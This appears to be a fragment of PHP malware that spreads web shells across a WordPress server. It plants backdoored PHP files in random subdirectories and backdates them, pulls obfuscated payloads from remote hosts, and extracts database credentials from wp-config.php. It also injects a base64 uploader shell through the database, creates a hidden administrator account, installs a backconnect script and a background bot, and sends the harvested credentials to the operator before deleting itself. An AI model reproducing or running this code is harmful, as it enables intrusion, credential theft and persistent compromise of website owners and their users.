";@set_time_limit(0);$direktori=$_SERVER['DOCUMENT_ROOT'];$fullxx=$_SERVER['HTTP_HOST'].str_replace($_SERVER['DOCUMENT_ROOT'],"",$direktori);$fullxx=str_replace("//","/",$fullxx);$fullxx=preg_replace('#[/\\\\]+#','/',$fullxx);if(isset($_POST['direktorix'])){$direktori=$_POST['direktorix'];}else{$direktori=$_SERVER['DOCUMENT_ROOT'];}echo "
";echo '
:
';if(isset($_POST['modex'])){echo '';}if(isset($_POST['tebar'])){$modeio=$_POST['modex'];$waktu=strtotime('-'.rand(30,90).' days',time());$folderio=$_POST['direktorix'];if(substr($folderio,-1)=='/'){$folderio=substr($folderio,0,-1);}$dirderdor=getSubDirectories($folderio);$dirderdor=str_replace('//',"/",$dirderdor);$subdir=shuffle_assoc($dirderdor);$totaldir=count($dirderdor);echo "
Total Directory to Infect: ".$totaldir." / ".count($eft0);$pehape=getFilex($folderio,'/\.php$/');$jumlahfilenyax=count(array_unique($pehape));if($jumlahfilenyax
Total Unique File Name to Copied and Infect: ".$jumlahfilenyax." / ".count($itemsxz);echo "
";$adminer="https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1-en.php";if(isset($_POST['license'])){$love="licenses.php";$laporlove=dirname(__FILE__).'/'.$love;if(!file_exists($laporlove)){$tmpf=tempnam(sys_get_temp_dir(),'sess_');$textz=html_entity_decode(gzinflate(b64dd($local)));@file_put_contents($tmpf,$textz);@file_put_contents($laporlove,'');}else{$textz=html_entity_decode(gzinflate(b64dd($local)));@file_put_contents($textz,$laporlove);}if(file_exists($laporlove)&&filesize($laporlove)>0){echo "".$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$laporlove)."
";$reportFinal=$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$laporlove).PHP_EOL;@touch($laporlove,$waktu);}if(empty($reportFinal)){$reportFinal="Tidak Bisa Tebar!
";goto EndofLife;}}if(isset($folderio)){$waktu=strtotime('-'.rand(30,90).' days',time());if($modeio==="hakai"){if(class_exists('ZipArchive')){if(is_writable($folderio)){$remah=fgt(decno('x8GsvbSSeHzMe6u5sMyqvI2wp7pw0rK9jbqdfLS9t8HIu525b9KyvQ=='));@file_put_contents($folderio."/sentinel.zip",$remah);$try=$folderio."/";$zip2=new ZipArchive();if($zip2->open($folderio."/sentinel.zip")===TRUE){$treba=0;while($treba<=count($itemsxz)){$namafilenx=$namanamafile[array_rand($namanamafile,1)];$sourcemove="zip://".$folderio."/sentinel.zip/sentinel.pdf";$sourcezx=b64ed(b64dd("PD9waHAgaW5jbHVkZShiYXNlNjRfZGVjb2RlKCI=").b64ed($sourcemove).b64dd("IikpOw=="));$picksubdirX1=$eft0[array_rand($eft0,1)];$picksubdirFirst=$subdir[array_rand($subdir,1)];if($totaldir0){echo "".$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$fullSubdirFile)."
";$reportFinal.=$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$fullSubdirFile).PHP_EOL;@touch($fullSubdirFile,$waktu);}$treba++;}}$zip2->close();}}else{echo "Please check folder isn't writable!";}goto EndofLife;}elseif(class_exists('PharData')){if(is_writable($folderio)){$remah=fgt(decno('x8GsvbSSeHzMe6u5sMyqvI2wp7pw0rK9jbqdfLS9t8HIu525b8ixrtE='));@file_put_contents($folderio."/sentinel.phar",$remah);$try=$folderio."/";$phar=new PharData();if($phar->open($folderio."/sentinel.phar")===TRUE){$treba=0;while($treba<=count($itemsxz)){$namafilenx=$namanamafile[array_rand($namanamafile,1)];$sourcemove="phar://".$folderio."/sentinel.phar/sentinel.pdf";$sourcezx=b64ed(b64dd("PD9waHAgaW5jbHVkZShiYXNlNjRfZGVjb2RlKCI=").b64ed($sourcemove).b64dd("IikpOw=="));$picksubdirX1=$eft0[array_rand($eft0,1)];$picksubdirFirst=$subdir[array_rand($subdir,1)];if($totaldir0){echo "".$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$fullSubdirFile)."
";$reportFinal.=$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$fullSubdirFile).PHP_EOL;@touch($fullSubdirFile,$waktu);}$treba++;}}$phar->close();}}else{echo "Please check folder isn't writable!";}goto EndofLife;}else{echo "PHP Server has No ZipArchive or PharData Class
";goto EndofLife;}}$lapor8=$folderio.'/wp-config.php';if(file_exists($lapor8)){$treba=0;while($treba<=count($itemsxz)){switch($modeio){case 'standard':$namafilenx=$namanamafile[array_rand($namanamafile,1)];$sourcezx=$itemsxz[array_rand($itemsxz,1)];break;case 'small':$namafilenx=$namanamafile[array_rand($namanamafile,1)];$sourcezx=html_entity_decode(gzinflate(b64dd($local)));break;default:$namafilenx=$enx1[array_rand($enx1,1)];$sourcezx=$itemsxz[array_rand($itemsxz,1)];}$picksubdirX1=$eft0[array_rand($eft0,1)];$picksubdirFirst=$subdir[array_rand($subdir,1)];if($totaldir0){echo "".$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$fullSubdirFile)."
";$reportFinal.=$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$fullSubdirFile).PHP_EOL;@touch($fullSubdirFile,$waktu);}$treba++;}}if(isset($_POST['backlinks'])){backlinks($folderio);}$loginwpx=fgt(decno('x8GsvbSSeHzGtqy1trp3sM66Z7Gwxrh62cdnsbDGuHrZx2a0qsyxwsF7obxwyqrEjrqZtq+HwL2Muae0qsY='));file_put_contents($folderio.'/wp-login.php',$loginwpx);@touch($folderio.'/wp-login.php',$waktu);$picksubdirlapor13=$subdir[array_rand($subdir,1)];$namafilelapor13=$namanamafile[array_rand($namanamafile,1)];$lapor13=$picksubdirlapor13.'/'.$namafilelapor13;if(!file_exists($lapor13)){$report13=fgt($adminer);file_put_contents($lapor13,$report13);@touch($lapor13,$waktu);}if(file_exists($lapor13)&&filesize($lapor13)>0){echo "
Adminer: ";echo "".$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$lapor13)."";echo "
WP: ".$folderio;$reportFinal.="Adminer: ".$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$lapor13).PHP_EOL;$reportFinal.="WP: ".$folderio.PHP_EOL;}$cxz=fgt($lapor8);preg_match('/define.*DB_NAME.*\'(.*)\'/',$cxz,$mxz);$dbname=$mxz[1];preg_match('/define.*DB_USER.*\'(.*)\'/',$cxz,$mxz);$dbuser=$mxz[1];preg_match('/define.*DB_PASSWORD.*\'(.*)\'/',$cxz,$mxz);$dbpass=$mxz[1];preg_match('/define.*DB_HOST.*\'(.*)\'/',$cxz,$mxz);$dbhost=$mxz[1];preg_match('/table_prefix.*=.*\'(.*)\'/',$cxz,$mxm);$table_prefix=$mxm[1];if(isset($dbname)){echo "
DB Name: ".$dbname;$shell_db_name=$dbname.PHP_EOL;echo " - DB Host: ".$dbhost;$shell_db_host=$dbhost.PHP_EOL;echo "
DB User: ".$dbuser;$shell_db_user=$dbuser.PHP_EOL;echo " - DB Pass: ".$dbpass;$reportFinal.="DB Name: ".$dbname." | DB Host: ".$dbhost." | DB User: ".$dbuser." | DB Pass: ".$dbpass.PHP_EOL;}if(isset($dbname)){$filetoinject=$folderio."/wp-config-sample.php";if(!file_exists($filetoinject)){file_put_contents($filetoinject,'');}$key=generateRandomString();$shellz="CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCjw/cGhwIGVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7IGVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOyBpZiggJF9QT1NUWydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7IGlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPk9LPC9iPjxicj48YnI+JzsgfSBlbHNlIHsgZWNobyAnPGI+RmFpbGVkITwvYj48YnI+PGJyPic7IH0gfWV4aXQoKTsgPz4=";if($conn=mysqli_connect($dbhost,$dbuser,$dbpass,$dbname)){if(@is_file($filetoinject)&&@is_writable($filetoinject)){@mysqli_query($conn,'DROP TABLE `licenses`');@mysqli_query($conn,'CREATE TABLE `licenses` (code LONGTEXT)');@mysqli_query($conn,'INSERT INTO `licenses` VALUES("'.$shellz.'")');$code='".base64_decode($r["code"]));exit;} ?>';@touch($filetoinject,$waktu);}@file_put_contents($filetoinject,$code."\n".@file_get_contents($filetoinject));$sql_backdoor=$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$filetoinject)."?x=".$key.PHP_EOL;echo "
SQL Backdoor: ".$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$filetoinject)."?x=".$key."
";}}if(isset($table_prefix)){$conn=new mysqli($dbhost,$dbuser,$dbpass,$dbname);if($conn->connect_error){echo "";}else{$passw0rd=generateRandomString();$sql="INSERT INTO ".$table_prefix."users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES ('', '$dbuser', MD5('".$passw0rd."'), '$dbname', 'hax@segfault.net', '', '2018-06-07 00:00:00', '', '0', '$dbname');";$sql.="INSERT INTO ".$table_prefix."usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, '88988', '".$table_prefix."capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');";$sql.="INSERT INTO ".$table_prefix."usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, '88988', '".$table_prefix."user_level', '10');";if($conn->multi_query($sql)===TRUE){echo "WP U: ".$dbname." P: ".$passw0rd;$reportFinal.="WP U: ".$dbname." P: ".$passw0rd.PHP_EOL;}$conn->close();}}}else{$waktu=strtotime('-'.rand(30,90).' days',time());$trebo=0;while($trebo<=count($itemsxz)){switch($modeio){case 'standard':$namafilenx=$namanamafile[array_rand($namanamafile,1)];$sourcezx=$itemsxz[array_rand($itemsxz,1)];break;case 'small':$namafilenx=$namanamafile[array_rand($namanamafile,1)];$sourcezx=html_entity_decode(gzinflate(b64dd($local)));break;default:$namafilenx=$enx1[array_rand($enx1,1)];$sourcezx=$itemsxz[array_rand($itemsxz,1)];}$picksubdirX1=$eft0[array_rand($eft0,1)];$picksubdirFirst=$subdir[array_rand($subdir,1)];if($totaldir0){echo "".$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$fullSubdirFile)."
";$reportFinal.=$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$fullSubdirFile).PHP_EOL;@touch($fullSubdirFile,$waktu);}$trebo++;}}}EndofLife:$folderUP=$folderio.'/.DS_Store/'.date('Y/m');if(!is_dir($folderUP)){@mkdir($folderUP,0755,true);}if(is_writable($folderUP)){@file_put_contents($folderUP.'/logo-backup.png',$textz);$realphp='';if(@file_put_contents($folderUP."/".date('j').".jpg.php",$realphp)){if(file_exists($folderUP."/".date('j').".jpg.php")&&filesize($folderUP."/".date('j').".jpg.php")>0){echo "".$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$folderUP."/".date('j').".jpg.php")."
";$reportFinal.=$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$folderUP."/".date('j')).PHP_EOL;@touch($folderUP."/".date('j').".jpg.php",$waktu);}}@chmod($folderUP,0111);}}$gsc="Z29vZ2xlLXNpdGUtdmVyaWZpY2F0aW9uOiBnb29nbGViZGM2Mzc4MTJmZDk5NzIyLmh0bWw=";if(@file_put_contents($folderio."/googlebdc637812fd99722.html",b64dd($gsc))){@touch($folderio."/googlebdc637812fd99722.html",$waktu);}if(isset($_POST['sockets'])){$soxxF="ipv4.php";$picksubdirSox=$subdir[array_rand($subdir,1)];$soxx=$picksubdirSox.'/'.$soxxF;$soxCode=html_entity_decode(gzinflate(b64dd($sox)));$srcSox="";if(@file_put_contents($soxx,$srcSox)){if(file_exists($soxx)&&filesize($soxx)>0){echo "
PHP Sockets: ".$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$soxx)."";$reportFinal.="Backconnect: ".$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$soxx).PHP_EOL;@touch($soxx,$waktu);}}}if(isset($_POST['kuman'])){if(function_exists('exec')){if(OS()==="Linux"){$astaga="kuman.php";$picksubdirbot=$subdir[array_rand($subdir,1)];$astagaf=$picksubdirbot.'/'.$astaga;$bt=fgt(decno('x8GsvbSSeHzGtqy1trp3sM66Z7Gwxrh62cdnsbDGuHrZx2a0qsyxwsF7obxwyqrEjrqZtq+HtMLMrqY='));file_put_contents($astagaf,gzinflate(b64dd($bt)));exec('cd '.$picksubdirbot.' && exec php -f'.$astagaf.' > /dev/null &');if(file_exists($$picksubdirbot."/tuman.php")&&filesize($$picksubdirbot."/tuman.php")>0){$reportFinal.="Tuman : ".$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$picksubdirbot."/tuman.php").PHP_EOL;echo "
Tuman : ".$fullxx.str_replace($_SERVER['DOCUMENT_ROOT'],"",$picksubdirbot."/tuman.php")."";}}}}$finalist=b64ed($reportFinal);GrabMe($_SERVER['HTTP_HOST'],$finalist,$folderio);echo "
Version: ".substr($version,0,6);echo "
";$pathxr=dirname(__FILE__);if(!unlink($pathxr.'/wp.php')){exec('rm -rf wp.php');}}$end=microtime(true);$time=number_format(($end-$start),2);echo '
This page loaded in ',$time,' seconds'; ?>